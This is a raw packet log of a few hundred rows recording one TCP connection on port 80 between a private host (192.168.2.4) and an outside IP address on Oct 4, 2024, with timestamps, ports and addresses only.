Oct 4, 2024 09:52:27.421667099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421681881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421694994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421699047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421708107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421716928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421722889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421756983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421788931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422538042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422553062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422566891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422580957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422591925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422595024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422609091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422622919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422626019 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422636986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422651052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422665119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422666073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422679901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422682047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422693014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422707081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422720909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422722101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422734022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422749043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422761917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422763109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422776937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422787905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422791004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422806025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.422816992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422836065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.422858953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.423329115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.423342943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.423357010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.423372030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.423377991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.423393965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.423414946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.423444986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452263117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452294111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452327013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452377081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452408075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452440023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452472925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.452469110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452469110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452469110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452469110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452469110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452569008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.452569008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493437052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493489981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493522882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493554115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493582010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493587017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493582010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493618965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493653059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493660927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493660927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493660927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493697882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493787050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493818998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493838072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493865013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493869066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493901014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493932962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493937016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493957043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.493980885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.493988037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494013071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494034052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494045973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494056940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494096041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494398117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494426966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494450092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494467974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494474888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494508028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494523048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494539976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494560003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494571924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494582891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494618893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494733095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494765043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494784117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494806051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494813919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494842052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494867086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494874954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494887114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494906902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494926929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494939089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494962931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.494970083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.494982004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495017052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495018959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495068073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495073080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495099068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495121002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495130062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495153904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495161057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495172024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495193958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495214939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495227098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495250940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495270967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495276928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495310068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495332956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495340109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495352983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495373011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495392084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495419979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495420933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495454073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495476961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495508909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495606899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495667934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495670080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495703936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495724916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495752096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495754004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495784044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495805025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495826960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495832920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495862961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495896101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495927095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495949030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.495956898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495990038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.495996952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496021032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496026993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496052980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496059895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496078968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496083975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496114016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496119022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496136904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496151924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496176004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496201038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496251106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496283054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496304989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496315002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496324062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496347904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496364117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496397018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496532917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496563911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496584892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496594906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496623039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496627092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496656895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496675968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496675968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496723890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496727943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496754885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496771097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496787071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496803999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496818066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496839046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496850014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496861935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496885061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496896029 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496916056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496933937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496948004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496967077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.496978998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.496995926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497010946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497023106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497060061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497359037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497391939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497411013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497425079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497447014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497474909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497482061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497507095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497524977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497538090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497554064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497567892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497585058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497600079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497612000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497632027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497651100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497663975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497679949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497711897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497711897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497745991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497761011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497792959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497798920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497828960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497845888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497860909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497880936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497891903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497903109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497924089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497941971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497955084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497980118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.497988939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.497998953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498022079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498044014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498054028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498076916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498081923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498099089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498130083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498186111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498218060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498236895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498250961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498266935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498298883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498317003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498347998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.498364925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.498393059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499053001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499083996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499114990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499118090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499135017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499166012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499166965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499198914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499217033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499229908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499247074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499263048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499279976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499294996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.499308109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.499351978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.541059971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.541095018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.541126013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.541146994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.541186094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.541186094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.542385101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.542417049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.542448997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.542555094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.542555094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.542555094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.542659044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.542690039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.542711973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.542732954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582285881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582331896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582366943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582384109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582385063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582417011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582448959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582470894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582472086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582504988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582520962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582556009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582571983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582588911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582609892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582623005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582637072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582654953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582674980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582686901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582699060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582719088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582740068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582751989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582762003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582787037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.582799911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582838058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.582988977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583020926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583039999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583070993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583080053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583102942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583120108 CEST	49745	80	192.168.2.4	141.98.233.156
